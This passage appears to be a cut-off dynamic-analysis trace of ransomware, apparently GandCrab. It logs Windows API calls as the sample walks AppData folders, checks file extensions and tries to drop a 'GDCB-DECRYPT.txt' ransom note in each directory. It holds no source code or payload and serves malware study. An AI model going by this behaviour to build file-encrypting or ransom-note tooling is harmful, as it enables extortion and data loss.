Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned 196 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned 197 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 202 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned 199 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned 193 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 213 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 202 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.286] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0170.286] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0170.286] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore" [0170.286] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 201 [0170.286] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.286] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.286] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 206 [0170.287] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.288] GetLastError () returned 0x50 [0170.288] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 189 [0170.288] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.288] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.288] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.288] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\" [0170.288] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.289] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.289] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.289] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.289] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 195 [0170.289] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.289] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e98 [0170.289] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.289] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.289] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.289] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.289] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.289] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.289] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 202 [0170.289] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.289] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.289] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.289] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.289] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 202 [0170.289] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.289] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.289] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.289] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.289] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 200 [0170.289] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.289] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.289] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.289] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.289] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 211 [0170.289] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.289] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.289] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.289] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 212 [0170.290] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.291] GetLastError () returned 0x50 [0170.291] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 195 [0170.291] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.291] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e98 [0170.291] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.291] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0170.291] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.291] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.292] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 203 [0170.292] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0170.292] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e18 [0170.292] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.292] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.292] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.292] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.292] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.292] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.292] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.292] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.292] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 205 [0170.292] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.292] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.293] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.293] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.293] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 219 [0170.293] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.293] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.293] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.293] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 220 [0170.293] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.295] GetLastError () returned 0x50 [0170.295] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 203 [0170.295] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 